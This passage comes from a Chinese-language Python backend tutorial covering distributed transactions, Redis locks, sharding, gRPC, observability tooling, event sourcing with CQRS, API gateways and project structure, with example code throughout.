CP强一致性,网络分区时拒绝写入ZooKeeper、etcd、HBase
AP高可用,允许短暂数据不一致Cassandra、DynamoDB、CouchDB

分布式事务方案

方案原理优点缺点
2PC(两阶段提交)先准备,再提交。协调者统一决定。强一致性性能差,协调者单点故障
TCCTry 预留资源 → Confirm 确认 / Cancel 取消业务层控制实现复杂,每个操作都要写三个方法
Saga每步有补偿操作,失败时反向补偿无锁,性能好只能保证最终一致性
# Saga 模式示例:订单创建
# 正向流程
def create_order():
    order = create_order_record()           # 步骤1:创建订单
    try:
        reduce_inventory(order)             # 步骤2:扣减库存
        charge_payment(order)               # 步骤3:扣款
        send_notification(order)            # 步骤4:发送通知
    except Exception:
        # 补偿流程(反向回滚)
        refund_payment(order)               # 补偿3:退款
        restore_inventory(order)            # 补偿2:恢复库存
        cancel_order(order)                 # 补偿1:取消订单
        raise

分布式 ID 生成

# 雪花算法(Snowflake)—— Twitter 开源的分布式 ID 生成器
# 结构:时间戳(41位) + 机器ID(10位) + 序列号(12位)
# 特点:全局唯一、趋势递增、不依赖数据库

from snowflake import SnowflakeGenerator

gen = SnowflakeGenerator(instance=1)
order_id = next(gen)   # 例如:7345234567890123456

分布式锁

# Redis 实现分布式锁
import redis
import time

r = redis.Redis()

def acquire_lock(lock_name, timeout=10):
    """获取分布式锁(SET NX EX 原子操作)"""
    return r.set(f'lock:{lock_name}', '1', nx=True, ex=timeout)

def release_lock(lock_name):
    """释放锁"""
    r.delete(f'lock:{lock_name}')

# 使用
if acquire_lock('order:create'):
    try:
        create_order()  # 同一时间只有一个进程能执行
    finally:
        release_lock('order:create')

# ===== 完整分布式锁实现(带锁续期和可重入)=====
import redis
import threading
import time
from contextlib import contextmanager

class DistributedLock:
    def __init__(self, redis_client, lock_name, timeout=10, auto_renew=True):
        self.redis = redis_client
        self.lock_name = f"lock:{lock_name}"
        self.timeout = timeout
        self.auto_renew = auto_renew
        self._owner = None
        self._renew_thread = None
        self._stop_renew = threading.Event()

    def acquire(self, blocking=True, timeout=None):
        """获取锁"""
        self._owner = f"{threading.current_thread().ident}:{time.time()}"
        end_time = time.time() + (timeout or self.timeout)

        while True:
            # SET NX EX 原子操作
            if self.redis.set(self.lock_name, self._owner, nx=True, ex=self.timeout):
                if self.auto_renew:
                    self._start_renew_thread()
                return True

            if not blocking or time.time() > end_time:
                return False

            time.sleep(0.1)

    def release(self):
        """释放锁(Lua 脚本保证原子性)"""
        self._stop_renew.set()
        if self._renew_thread:
            self._renew_thread.join()

        # Lua 脚本:只有锁的持有者才能释放
        lua_script = """
        if redis.call("get", KEYS[1]) == ARGV[1] then
            return redis.call("del", KEYS[1])
        else
            return 0
        end
        """
        self.redis.eval(lua_script, 1, self.lock_name, self._owner)

    def _start_renew_thread(self):
        """启动锁续期线程(Watch Dog 机制)"""
        def renew_loop():
            while not self._stop_renew.wait(self.timeout / 3):
                # 每 timeout/3 秒续期一次
                lua_script = """
                if redis.call("get", KEYS[1]) == ARGV[1] then
                    return redis.call("expire", KEYS[1], ARGV[2])
                else
                    return 0
                end
                """
                result = self.redis.eval(
                    lua_script, 1, self.lock_name, self._owner, self.timeout
                )
                if not result:
                    break  # 锁已不在,停止续期

        self._renew_thread = threading.Thread(target=renew_loop, daemon=True)
        self._renew_thread.start()

@contextmanager
def distributed_lock(redis_client, lock_name, timeout=10):
    """上下文管理器方式使用分布式锁"""
    lock = DistributedLock(redis_client, lock_name, timeout)
    lock.acquire()
    try:
        yield lock
    finally:
        lock.release()

# 使用示例
r = redis.Redis()

# 方式 1:上下文管理器(推荐)
with distributed_lock(r, "order:create"):
    create_order()  # 自动获取和释放锁

# 方式 2:手动管理
lock = DistributedLock(r, "order:create", timeout=30, auto_renew=True)
if lock.acquire(blocking=True, timeout=60):
    try:
        create_order()
    finally:
        lock.release()
实际工程建议

能不用分布式事务就不用。优先考虑:① 把需要事务的操作放在同一个服务/数据库中。② 用最终一致性 + 补偿机制(Saga)。③ 用消息队列的可靠投递保证数据一致。④ 用分布式锁保证关键操作的互斥性。

分布式系统的八个谬误

① 网络是可靠的(错!)。② 延迟为零(错!)。③ 带宽是无限的(错!)。④ 网络是安全的(错!)。⑤ 拓扑不会变(错!)。⑥ 只有一个管理员(错!)。⑦ 传输成本为零(错!)。⑧ 网络是同构的(错!)。设计分布式系统时,必须假设这些都会出问题。

73. 数据库分库分表

当单表数据超过 1000 万行时,查询性能会急剧下降。分库分表把数据分散到多个数据库/表中,是应对海量数据的终极方案。

一个类比

想象一个有 1 亿条记录的订单表——就像一本 10 万页的电话簿。翻一遍要几个小时。如果你把它拆成 100 本电话簿(每本 100 万条),按用户 ID 的最后两位数字分到不同的本子里,找某个人只需要翻一本——快了 100 倍。

垂直拆分:按业务拆分

把一个大数据库按业务领域拆成多个小数据库:

# 拆分前:一个数据库,所有表在一起
mydb/
├── users
├── orders
├── products
├── payments
└── logs

# 拆分后:三个数据库,各自独立
user_db/          → 用户相关
├── users
├── user_profiles
└── addresses

order_db/         → 订单相关
├── orders
├── order_items
└── shipments

product_db/       → 商品相关
├── products
├── categories
└── inventory
垂直拆分的好处

① 不同业务的数据库可以独立扩展(订单库需要更多存储,用户库需要更快的 SSD)。② 故障隔离——商品库挂了不影响用户登录。③ 不同业务可以用不同类型的数据库(用户用 MySQL,日志用 MongoDB)。

水平分片:同一张表拆成多张

当单表数据量太大时,把同一张表按某个字段(分片键)拆成多张表:

# 分片策略:按 user_id 取模
# user_id = 1001 → 1001 % 16 = 9 → 存到 order_9
# user_id = 1002 → 1002 % 16 = 10 → 存到 order_10

# 分片后的表
order_0, order_1, order_2, ... order_15    # 共 16 张表

# 查询时自动路由
def get_order(order_id, user_id):
    shard = user_id % 16
    table_name = f"order_{shard}"
    return db.execute(f"SELECT * FROM {table_name} WHERE id = %s", (order_id,))

分库分表的中间件

中间件语言特点
ShardingSphereJava功能最全,支持分库分表 + 读写分离 + 分布式事务
VitessGoYouTube 出品,MySQL 分片方案
CitusPostgreSQL 扩展PostgreSQL 原生分片,对应用透明
应用层分片Python在代码中手动路由,简单但维护成本高

全局唯一 ID:雪花算法

# 分库分表后,自增 ID 不再全局唯一
# 解决方案:雪花算法(Snowflake)生成分布式 ID
# 结构:时间戳(41位) + 机器ID(10位) + 序列号(12位)

from snowflake import SnowflakeGenerator

gen = SnowflakeGenerator(instance=1)
order_id = next(gen)   # 例如:1234567890123456789
# 全局唯一、趋势递增、不依赖数据库
分片的代价

① 跨分片查询困难(JOIN 不同库的表需要在应用层合并)。② 分布式事务复杂。③ 全局唯一 ID 需要特殊处理。④ 扩容时数据迁移痛苦(从 16 片扩到 32 片,大部分数据要迁移)。不到万不得已,先用读写分离 + 缓存。

分片键选择

选择分片键的原则:① 查询频率高(如 user_id,大部分查询都带 user_id)。② 数据分布均匀(避免热点——如果按日期分片,今天的分片会特别忙)。③ 尽量让相关数据在同一个分片(如同一用户的订单)。选错分片键会导致数据倾斜(某些分片特别大,其他很空)。

74. gRPC 与 Protocol Buffers

gRPC 是 Google 开发的高性能 RPC 框架——比 REST 快 10 倍,特别适合微服务内部通信。

// user.proto — Protocol Buffers 定义文件
syntax = "proto3";

service UserService {
    rpc GetUser (GetUserRequest) returns (UserResponse);
    rpc ListUsers (ListUsersRequest) returns (stream UserResponse);  // 服务端流式
}

message GetUserRequest {
    int32 id = 1;
}

message UserResponse {
    int32 id = 1;
    string name = 2;
    string email = 3;
}
维度REST + JSONgRPC + Protobuf
协议HTTP/1.1HTTP/2
数据格式JSON(文本,大)Protobuf(二进制,小 3-10 倍)
速度中等极快
流式通信不支持原生支持
浏览器直接调用需要 gRPC-Web 代理
适用场景对外 API、前端调用微服务内部通信

Python gRPC 实现

# 安装:pip install grpcio grpcio-tools
# 1. 定义 proto 文件(user.proto)
# 2. 生成 Python 代码
# python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. user.proto

# 服务端实现
import grpc
from concurrent import futures
import user_pb2
import user_pb2_grpc

class UserService(user_pb2_grpc.UserServiceServicer):
    def GetUser(self, request, context):
        # 查询用户
        user = db.session.get(User, request.id)
        if not user:
            context.abort(grpc.StatusCode.NOT_FOUND, "用户不存在")
        return user_pb2.UserResponse(
            id=user.id,
            name=user.name,
            email=user.email,
        )

    def ListUsers(self, request, context):
        """服务端流式——一次返回多个用户"""
        users = db.query(User).all()
        for user in users:
            yield user_pb2.UserResponse(
                id=user.id,
                name=user.name,
                email=user.email,
            )

# 启动服务
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
user_pb2_grpc.add_UserServiceServicer_to_server(UserService(), server)
server.add_insecure_port('[::]:50051')
server.start()
server.wait_for_termination()

# 客户端调用
import grpc
import user_pb2
import user_pb2_grpc

channel = grpc.insecure_channel('localhost:50051')
stub = user_pb2_grpc.UserServiceStub(channel)

# 一元调用
response = stub.GetUser(user_pb2.GetUserRequest(id=1))
print(f"用户: {response.name}")

# 流式调用
for user in stub.ListUsers(user_pb2.ListUsersRequest()):
    print(f"用户: {user.name}")

gRPC 拦截器(中间件)

# 拦截器——类似中间件
import grpc

class AuthInterceptor(grpc.ServerInterceptor):
    def intercept_service(self, continuation, handler_call_details):
        # 从 metadata 中获取 token
        metadata = dict(handler_call_details.invocation_metadata)
        token = metadata.get('authorization', '')

        if not verify_token(token):
            raise grpc.RpcError(grpc.StatusCode.UNAUTHENTICATED, "无效的 Token")

        return continuation(handler_call_details)

# 使用拦截器
server = grpc.server(
    futures.ThreadPoolExecutor(max_workers=10),
    interceptors=[AuthInterceptor()]
)

错误处理

# gRPC 错误码
import grpc

class UserService(user_pb2_grpc.UserServiceServicer):
    def GetUser(self, request, context):
        if request.id <= 0:
            context.abort(grpc.StatusCode.INVALID_ARGUMENT, "ID 必须大于 0")

        user = db.session.get(User, request.id)
        if not user:
            context.abort(grpc.StatusCode.NOT_FOUND, f"用户 {request.id} 不存在")

        return user_pb2.UserResponse(id=user.id, name=user.name)

# 客户端错误处理
try:
    response = stub.GetUser(user_pb2.GetUserRequest(id=999))
except grpc.RpcError as e:
    if e.code() == grpc.StatusCode.NOT_FOUND:
        print("用户不存在")
    elif e.code() == grpc.StatusCode.UNAUTHENTICATED:
        print("认证失败")
    else:
        print(f"错误: {e.code()}: {e.details()}")
选型建议

对外 API(前端/第三方调用)用 REST。微服务之间的内部通信用 gRPC。两者可以共存——网关层用 REST 接收外部请求,内部转发用 gRPC。gRPC 特别适合:① 高性能内部通信。② 流式数据传输。③ 多语言微服务(Proto 是语言无关的)。

gRPC 调试

gRPC 不像 REST 那样可以用 curl 测试。调试工具:① grpcurl——命令行 gRPC 客户端。② Postman——支持 gRPC 请求。③ grpcui——Web 界面的 gRPC 客户端。④ BloomRPC——桌面 gRPC 客户端。

75. 服务网格与可观测性

微服务多了之后,服务间通信的管理变得极其复杂——重试、熔断、链路追踪、流量控制。Service Mesh 把这些逻辑从应用代码中抽离出来,让开发者专注于业务。

一个类比

Service Mesh 就像城市的交通管理系统。每辆车(服务)不需要自己看红绿灯、找路、处理事故——交通信号灯(控制平面)统一调度,摄像头(可观测性)监控一切,导航(代理)帮你找最优路线。你只需要专注开车(写业务代码)。

Sidecar 模式

每个服务旁边部署一个代理(Sidecar),所有出入流量都经过代理:

1
你的服务 A→ 发送请求 → Sidecar 代理 A → 网络 → Sidecar 代理 B → 服务 B
2
代理自动处理——重试失败的请求、熔断故障服务、收集延迟指标、加密通信。
3
你的代码完全无感知——不需要改一行代码,代理在基础设施层注入。

Service Mesh 对比

维度IstioLinkerd
代理Envoy(C++,功能强大)linkerd2-proxy(Rust,极轻量)
复杂度高(组件多,配置复杂)低(开箱即用)
性能增加 1-3ms 延迟增加 <1ms 延迟
适用场景大型企业、复杂流量管理中小型团队、快速上手

可观测性三大支柱

Metrics(指标)
数值型时间序列数据——QPS、延迟 P99、错误率、CPU/内存。用 Prometheus 采集,Grafana 展示。
Logs(日志)
离散的事件记录——请求日志、错误堆栈、业务日志。用 ELK(Elasticsearch + Logstash + Kibana)收集。
Traces(链路追踪)
请求的完整调用链——一个请求经过了哪些服务、每个服务耗时多少。用 Jaeger/Zipkin 追踪。

OpenTelemetry:统一的可观测性标准

# OpenTelemetry 集成(Python)
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.exporter.jaeger.thrift import JaegerExporter

# 配置
provider = TracerProvider()
exporter = JaegerExporter(agent_host_name="localhost", agent_port=6831)
provider.add_span_processor(BatchSpanProcessor(exporter))
trace.set_tracer_provider(provider)

# 在代码中创建 Span
tracer = trace.get_tracer(__name__)

@app.get("/api/orders/{order_id}")
def get_order(order_id: int):
    with tracer.start_as_current_span("get_order") as span:
        span.set_attribute("order_id", order_id)
        order = db.session.get(Order, order_id)

        with tracer.start_as_current_span("get_user"):
            user = db.session.get(User, order.user_id)

        return {"order": order, "user": user}
分布式链路追踪实战

一个请求经过 5 个微服务,如何知道哪里慢了?Jaeger 为每个请求生成唯一的 Trace ID,在 Jaeger UI 上可以看到瀑布图:用户服务耗时 5ms → 订单服务耗时 50ms(瓶颈!)→ 支付服务耗时 10ms。一眼就能定位性能瓶颈。

Service Mesh 的代价

① 每个请求多经过一层代理,增加 1-2ms 延迟。② 运维复杂度增加(需要管理控制平面、升级代理)。③ 资源消耗增加(每个 Pod 多一个容器)。④ 学习曲线陡峭。小型微服务集群(< 10 个服务)不需要 Service Mesh,用 API 网关就够了。

Prometheus + Grafana 完整集成

# pip install prometheus-client

from prometheus_client import Counter, Histogram, Gauge, generate_latest
from fastapi import FastAPI, Request
import time

app = FastAPI()

# 定义指标
REQUEST_COUNT = Counter(
    'http_requests_total',
    'Total HTTP requests',
    ['method', 'endpoint', 'status']
)

REQUEST_LATENCY = Histogram(
    'http_request_duration_seconds',
    'HTTP request latency',
    ['method', 'endpoint'],
    buckets=[0.01, 0.05, 0.1, 0.5, 1.0, 5.0]
)

ACTIVE_REQUESTS = Gauge(
    'http_active_requests',
    'Number of active requests',
    ['method']
)

# 中间件:自动采集指标
@app.middleware("http")
async def metrics_middleware(request: Request, call_next):
    method = request.method
    endpoint = request.url.path

    ACTIVE_REQUESTS.labels(method=method).inc()
    start = time.time()

    try:
        response = await call_next(request)
        status = response.status_code
        return response
    finally:
        elapsed = time.time() - start
        REQUEST_COUNT.labels(method=method, endpoint=endpoint, status=status).inc()
        REQUEST_LATENCY.labels(method=method, endpoint=endpoint).observe(elapsed)
        ACTIVE_REQUESTS.labels(method=method).dec()

# 暴露 /metrics 端点
@app.get("/metrics")
async def metrics():
    from fastapi.responses import PlainTextResponse
    return PlainTextResponse(generate_latest(), media_type="text/plain")

# 自定义业务指标
ORDER_COUNT = Counter('orders_total', 'Total orders', ['status'])
REVENUE = Gauge('revenue_total', 'Total revenue')

@app.post("/orders")
async def create_order():
    # ... 创建订单逻辑
    ORDER_COUNT.labels(status='created').inc()
    REVENUE.inc(99.9)

# Grafana Dashboard 配置(PromQL 查询)
# QPS: rate(http_requests_total[5m])
# P99 延迟: histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))
# 错误率: rate(http_requests_total{status=~"5.."}[5m]) / rate(http_requests_total[5m])
# 活跃请求: http_active_requests

Structlog 结构化日志

# pip install structlog

import structlog
import logging
import uuid
from fastapi import Request

# 配置 structlog
structlog.configure(
    processors=[
        structlog.contextvars.merge_contextvars,
        structlog.processors.add_log_level,
        structlog.processors.TimeStamper(fmt="iso"),
        structlog.processors.JSONRenderer(),
    ],
    wrapper_class=structlog.make_filtering_bound_logger(logging.INFO),
)

logger = structlog.get_logger()

# 中间件:自动注入 request_id
@app.middleware("http")
async def add_request_id(request: Request, call_next):
    request_id = str(uuid.uuid4())
    structlog.contextvars.bind_contextvars(request_id=request_id)
    response = await call_next(request)
    response.headers["X-Request-ID"] = request_id
    return response

# 使用示例
@app.get("/users/{user_id}")
async def get_user(user_id: int):
    logger.info("获取用户", user_id=user_id)
    user = await fetch_user(user_id)
    logger.info("用户获取成功", user_id=user_id, username=user["name"])
    return user

# 输出(JSON 格式):
# {"event": "获取用户", "user_id": 123, "request_id": "abc-123", "level": "info", "timestamp": "2024-06-27T10:00:00Z"}
# {"event": "用户获取成功", "user_id": 123, "username": "张三", "request_id": "abc-123", "level": "info", "timestamp": "2024-06-27T10:00:01Z"}

# 日志脱敏处理器
def mask_sensitive(logger, method_name, event_dict):
    """脱敏敏感信息"""
    for field in ['password', 'token', 'secret', 'credit_card']:
        if field in event_dict:
            event_dict[field] = '***'
    return event_dict

structlog.configure(processors=[mask_sensitive] + structlog.processors.default_processors())

OpenTelemetry 自动埋点

# pip install opentelemetry-distro opentelemetry-exporter-jaeger
# opentelemetry-instrument 命令行工具可以零代码添加链路追踪

# 方式 1:命令行自动埋点(推荐)
# opentelemetry-instrument \
#   --service_name myapp \
#   --exporter_jaeger_endpoint http://localhost:14268/api/traces \
#   uvicorn main:app

# 方式 2:代码手动配置
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor
from opentelemetry.exporter.jaeger.thrift import JaegerExporter
from opentelemetry.instrumentation.fastapi import FastAPIInstrumentor
from opentelemetry.instrumentation.sqlalchemy import SQLAlchemyInstrumentor

# 配置 TracerProvider
provider = TracerProvider()
exporter = JaegerExporter(agent_host_name="localhost", agent_port=6831)
provider.add_span_processor(BatchSpanProcessor(exporter))
trace.set_tracer_provider(provider)

# 自动埋点 FastAPI
FastAPIInstrumentor.instrument_app(app)

# 自动埋点 SQLAlchemy
SQLAlchemyInstrumentor().instrument(engine=engine)

# 自动埋点 Redis、HTTP 客户端等
from opentelemetry.instrumentation.redis import RedisInstrumentor
from opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor
RedisInstrumentor().instrument()
HTTPXClientInstrumentor().instrument()

# 日志中注入 Trace ID(日志-追踪关联)
import logging

class TraceIdFilter(logging.Filter):
    def filter(self, record):
        span = trace.get_current_span()
        context = span.get_span_context()
        record.trace_id = format(context.trace_id, '032x')
        record.span_id = format(context.span_id, '016x')
        return True

logging.getLogger().addFilter(TraceIdFilter())

# 日志格式中包含 trace_id
logging.basicConfig(
    format='%(asctime)s trace_id=%(trace_id)s %(message)s'
)

76. 事件溯源与 CQRS

传统方式只存"当前状态"(余额 100 元)。事件溯源存"所有历史事件"(存入 200、取出 100 = 余额 100)。可以回放任何时间点的状态。

# 传统方式:只存当前状态
account = {"id": 1, "balance": 100}

# 事件溯源:存所有事件
events = [
    {"type": "AccountCreated", "amount": 0, "time": "2024-01-01"},
    {"type": "MoneyDeposited", "amount": 200, "time": "2024-01-15"},
    {"type": "MoneyWithdrawn", "amount": 100, "time": "2024-02-01"},
]
# 当前状态 = 回放所有事件:0 + 200 - 100 = 100

CQRS:命令与查询分离

1
Command(命令)——写操作(创建、更新、删除)。走事件溯源,写入事件存储。
2
Query(查询)——读操作。走独立的读模型(物化视图),查询性能最优。
3
事件处理器——监听事件,更新读模型。

事件存储实现

# 事件存储——记录所有业务事件
from datetime import datetime
import json

class EventStore:
    def __init__(self, db):
        self.db = db

    def append(self, aggregate_id: str, event_type: str, data: dict):
        """追加事件"""
        event = {
            'aggregate_id': aggregate_id,
            'event_type': event_type,
            'data': json.dumps(data),
            'timestamp': datetime.now(datetime.UTC).isoformat(),
            'version': self._get_next_version(aggregate_id),
        }
        self.db.events.insert_one(event)
        return event

    def get_events(self, aggregate_id: str) -> list:
        """获取聚合的所有事件"""
        return list(self.db.events.find(
            {'aggregate_id': aggregate_id}
        ).sort('version', 1))

    def replay(self, aggregate_id: str) -> dict:
        """回放事件,重建当前状态"""
        events = self.get_events(aggregate_id)
        state = {}
        for event in events:
            state = self._apply_event(state, event)
        return state

# 使用
store = EventStore(db)
store.append("account:123", "AccountCreated", {"balance": 0})
store.append("account:123", "MoneyDeposited", {"amount": 200})
store.append("account:123", "MoneyWithdrawn", {"amount": 50})

# 回放得到当前状态
state = store.replay("account:123")  # {"balance": 150}

CQRS 完整实现

# CQRS——命令和查询分离
# 写模型(处理命令)
class AccountCommandHandler:
    def __init__(self, event_store):
        self.event_store = event_store

    def create_account(self, account_id: str, initial_balance: float):
        self.event_store.append(account_id, "AccountCreated", {
            "balance": initial_balance
        })

    def deposit(self, account_id: str, amount: float):
        self.event_store.append(account_id, "MoneyDeposited", {
            "amount": amount
        })

    def withdraw(self, account_id: str, amount: float):
        # 验证余额
        state = self.event_store.replay(account_id)
        if state.get('balance', 0) < amount:
            raise ValueError("余额不足")
        self.event_store.append(account_id, "MoneyWithdrawn", {
            "amount": amount
        })

# 读模型(处理查询)——物化视图
class AccountQueryHandler:
    def __init__(self, db, event_store):
        self.db = db
        self.event_store = event_store

    def get_balance(self, account_id: str) -> float:
        account = self.db.accounts.find_one({'account_id': account_id})
        return account['balance'] if account else 0

    def refresh_read_model(self, account_id: str):
        """事件处理器更新读模型"""
        # 从事件存储回放,更新读模型
        events = self.event_store.get_events(account_id)
        balance = 0
        for event in events:
            if event['event_type'] == 'MoneyDeposited':
                balance += json.loads(event['data'])['amount']
            elif event['event_type'] == 'MoneyWithdrawn':
                balance -= json.loads(event['data'])['amount']
        self.db.accounts.update_one(
            {'account_id': account_id},
            {'$set': {'balance': balance}},
            upsert=True
        )
适用场景

① 金融系统(需要完整审计日志)。② 协同编辑(需要回放历史)。③ 复杂业务逻辑(事件驱动)。④ 需要时间旅行(查看任意时间点的状态)。不适合简单 CRUD 应用——过度设计。

事件溯源的代价

① 事件存储会越来越大(需要定期快照)。② 查询需要重建状态(性能差,需要读模型)。③ 事件 schema 变更困难(需要版本兼容)。④ 最终一致性(读模型有延迟)。⑤ 团队学习成本高。简单项目用传统 CRUD + 审计日志就够了。

77. API 网关

API 网关是微服务的"门卫"——所有外部请求先经过网关,再转发到后端服务。它统一处理认证、限流、路由、日志,让后端服务专注于业务逻辑。

一个类比

API 网关就像酒店的前台。客人(客户端)不需要知道酒店有几层楼、每层有多少房间——前台帮你查房卡(认证)、分配房间(路由)、控制入住人数(限流)、记录入住信息(日志)。你只需要告诉前台你要什么,前台帮你搞定一切。

API 网关的六大职责

路由转发
/api/users → 用户服务,/api/orders → 订单服务——客户端只需要知道网关地址,不需要知道后端有几个服务。
认证鉴权
统一校验 JWT Token——后端服务不需要各自实现认证逻辑。网关验证 Token 后,把用户信息通过 Header 传给后端。
限流熔断
保护后端服务不被打垮——超限时返回 429 Too Many Requests。服务异常时自动熔断(返回降级响应)。
负载均衡
把请求分发到多个后端实例——轮询、加权轮询、最少连接等策略。
协议转换
HTTP → gRPC 转换——外部用 HTTP/JSON,内部用 gRPC/Protobuf。网关做协议翻译。

三大网关对比

维度KongTraefikEnvoy
语言Lua(基于 Nginx)GoC++
配置数据库 / 声明式自动发现(Docker/K8s)动态配置(xDS API)
插件生态最丰富(300+ 插件)中等通过 Filter 扩展
性能高极高极高
适用场景企业级,功能最全Docker/K8s 环境Service Mesh(Istio 默认)
学习曲线中等低高

Kong 网关配置示例

# 添加服务
curl -X POST http://localhost:8001/services/ \
  --data name=user-service \
  --data url=http://user-service:8000

# 添加路由
curl -X POST http://localhost:8001/services/user-service/routes \
  --data 'paths[]=/api/users' \
  --data 'methods[]=GET' \
  --data 'methods[]=POST'

# 添加限流插件
curl -X POST http://localhost:8001/services/user-service/plugins \
  --data name=rate-limiting \
  --data config.minute=100 \
  --data config.policy=local

# 添加认证插件(JWT)
curl -X POST http://localhost:8001/services/user-service/plugins \
  --data name=jwt

Python 后端接入网关

# Python 后端不需要关心网关细节
# 网关验证 Token 后,通过 Header 传给后端

@app.get("/api/users/me")
def get_current_user(
    # 网关已经验证过 Token,直接从 Header 获取用户信息
    user_id: str = Header(alias="X-User-Id"),
    user_role: str = Header(alias="X-User-Role"),
):
    return {"user_id": user_id, "role": user_role}

# 健康检查接口(网关用它来判断服务是否可用)
@app.get("/health")
def health_check():
    return {"status": "ok"}
网关 vs Service Mesh

API 网关处理南北向流量(外部 → 内部)。Service Mesh 处理东西向流量(服务 ↔ 服务)。两者可以共存:网关做入口管理,Service Mesh 做服务间通信管理。

何时需要 API 网关?

① 微服务数量超过 5 个。② 需要统一认证和限流。③ 需要对外暴露统一的 API 入口。④ 需要灰度发布和 A/B 测试。小型项目直接用 Nginx 做反向代理就够了。

第十部分 · 综合实战与资源

78. 项目结构与工程规范

好的项目结构让新人 10 分钟看懂代码,差的项目结构让老人找半天找不到文件。

# 推荐的 Python 后端项目结构
myproject/
├── app/
│   ├── __init__.py
│   ├── main.py              # 应用入口
│   ├── config.py            # 配置管理
│   ├── models/              # 数据模型
│   │   ├── __init__.py
│   │   ├── user.py
│   │   └── order.py
│   ├── schemas/             # Pydantic/序列化模型
│   │   ├── __init__.py
│   │   ├── user.py
│   │   └── order.py
│   ├── api/                 # 路由/视图
│   │   ├── __init__.py
│   │   ├── v1/
│   │   │   ├── users.py
│   │   │   └── orders.py
│   │   └── deps.py          # 依赖注入
│   ├── services/            # 业务逻辑
│   │   ├── __init__.py
│   │   └── user_service.py
│   ├── core/                # 核心工具
│   │   ├── security.py      # 认证、加密
│   │   ├── exceptions.py    # 自定义异常
│   │   └── middleware.py    # 中间件
│   └── utils/               # 通用工具
├── tests/                   # 测试代码
├── alembic/                 # 数据库迁移
├── docs/                    # 文档
├── scripts/                 # 脚本(部署、数据初始化)
├── .env.example             # 环境变量示例
├── .gitignore
├── docker-compose.yml
├── Dockerfile
├── pyproject.toml           # 项目配置(Poetry)
└── README.md

Git 工作流

1
main 分支——始终可部署的稳定版本。
2
develop 分支——开发中的版本,合并了所有功能分支。
3
feature/xxx 分支——每个功能一个分支,完成后合并到 develop。
4
PR + Code Review——合并前必须有人审查代码。

pyproject.toml 配置

# pyproject.toml — Python 项目标准配置
[project]
name = "myproject"
version = "0.1.0"
description = "My Python Web Application"
requires-python = ">=3.12"
dependencies = [
    "fastapi>=0.110.0",
    "uvicorn[standard]>=0.29.0",
    "sqlalchemy>=2.0.0",
    "pydantic-settings>=2.0.0",
    "python-jose[cryptography]>=3.3.0",
]

[project.optional-dependencies]
dev = [
    "pytest>=8.0.0",
    "pytest-cov>=5.0.0",
    "pytest-asyncio>=0.23.0",
    "ruff>=0.4.0",
    "httpx>=0.27.0",
]

[tool.ruff]
target-version = "py312"
line-length = 100

[tool.ruff.lint]
select = ["E", "F", "I", "N", "UP", "B", "SIM"]

[tool.pytest.ini_options]
testpaths = ["tests"]
asyncio_mode = "auto"
addopts = "--cov=app --cov-report=html -v"

[build-system]
requires = ["hatchling"]
build-backend = "hatchling.build"

Makefile(常用命令)

# Makefile — 项目常用命令
.PHONY: install dev test lint run migrate

install:                                      # 安装依赖
	pip install -e .

dev:                                          # 安装开发依赖
	pip install -e ".[dev]"
	pre-commit install

test:                                         # 运行测试
	pytest

test-cov:                                     # 运行测试 + 覆盖率
	pytest --cov=app --cov-report=html

lint:                                         # 代码检查
	ruff check .
	ruff format --check .

format:                                       # 代码格式化
	ruff check --fix .
	ruff format .

run:                                          # 启动开发服务器
	uvicorn app.main:app --reload --port 8000

migrate:                                      # 数据库迁移
	alembic upgrade head

migrate-new:                                  # 创建迁移脚本
	alembic revision --autogenerate -m "$(msg)"

docker-up:                                    # Docker 启动
	docker-compose up -d

docker-down:                                  # Docker 停止
	docker-compose down

分层架构详解

# 分层架构:API → Service → Repository → Database
# 每一层的职责明确,方便测试和维护

# 1. API 层(路由 + 参数校验)
# app/api/v1/users.py
@router.post("/users", status_code=201)
def create_user(data: UserCreate, db: Session = Depends(get_db)):
    return user_service.create(db, data)       # 调用 Service 层

# 2. Service 层(业务逻辑)
# app/services/user_service.py
class UserService:
    def create(self, db: Session, data: UserCreate) -> User:
        if self.get_by_email(db, data.email):
            raise BusinessError("邮箱已注册")
        user = User(**data.model_dump())
        user.password_hash = hash_password(data.password)
        db.add(user)
        db.commit()
        return user

    def get_by_email(self, db: Session, email: str) -> User:
        return db.query(User).filter(User.email == email).first()

# 3. Model 层(数据模型)
# app/models/user.py
class User(Base):
    __tablename__ = 'users'
    id = Column(Integer, primary_key=True)
    name = Column(String(50))
    email = Column(String(100), unique=True)

# 好处:
# - API 层只负责 HTTP 协议转换
# - Service 层只负责业务逻辑(可复用)
# - Model 层只负责数据结构
# - 测试时可以单独 Mock 每一层
Code Review 检查清单

① 代码风格是否一致?② 是否有安全漏洞(SQL 注入、XSS)?③ 是否有性能问题(N+1 查询)?④ 是否有测试覆盖?⑤ 错误处理是否完善?⑥ 日志是否充分?⑦ 是否有硬编码的配置?⑧ 是否有未处理的异常?

工程规范 Checklist

① pyproject.toml 管理依赖(不用 requirements.txt)。② Makefile 统一常用命令。③ .env.example 列出所有环境变量。④ Dockerfile + docker-compose.yml 容器化。⑤ CI/CD 自动化(lint + test + deploy)。⑥ README.md 写清楚如何启动、测试、部署。⑦ 分层架构(API → Service → Model)。⑧ 统一的错误响应格式。

79. 项目脚手架与代码生成

每次新建项目都从零开始写目录结构、配置文件、Dockerfile?用脚手架一键生成。

# Cookiecutter — 项目模板生成器
pip install cookiecutter

# 使用社区模板
cookiecutter https://github.com/tiangolo/full-stack-fastapi-template

# 自定义模板
my-template/
├── {{cookiecutter.project_name}}/
│   ├── app/
│   ├── tests/
│   ├── Dockerfile
│   └── README.md
└── cookiecutter.json              # 定义变量

# 框架内置脚手架
django-admin startproject mysite   # Django 项目
flask cli                          # Flask CLI
fastapi new myproject              # FastAPI CLI

# 快速生成 CRUD 代码
# Django: django-admin generate model
# FastAPI: 用 copier 或自定义脚本

自定义 Cookiecutter 模板

# 目录结构
my-fastapi-template/
├── {{cookiecutter.project_name}}/
│   ├── app/
│   │   ├── __init__.py
│   │   ├── main.py
│   │   ├── config.py
│   │   ├── models/
│   │   ├── schemas/
│   │   ├── api/
│   │   └── services/
│   ├── tests/
│   ├── alembic/
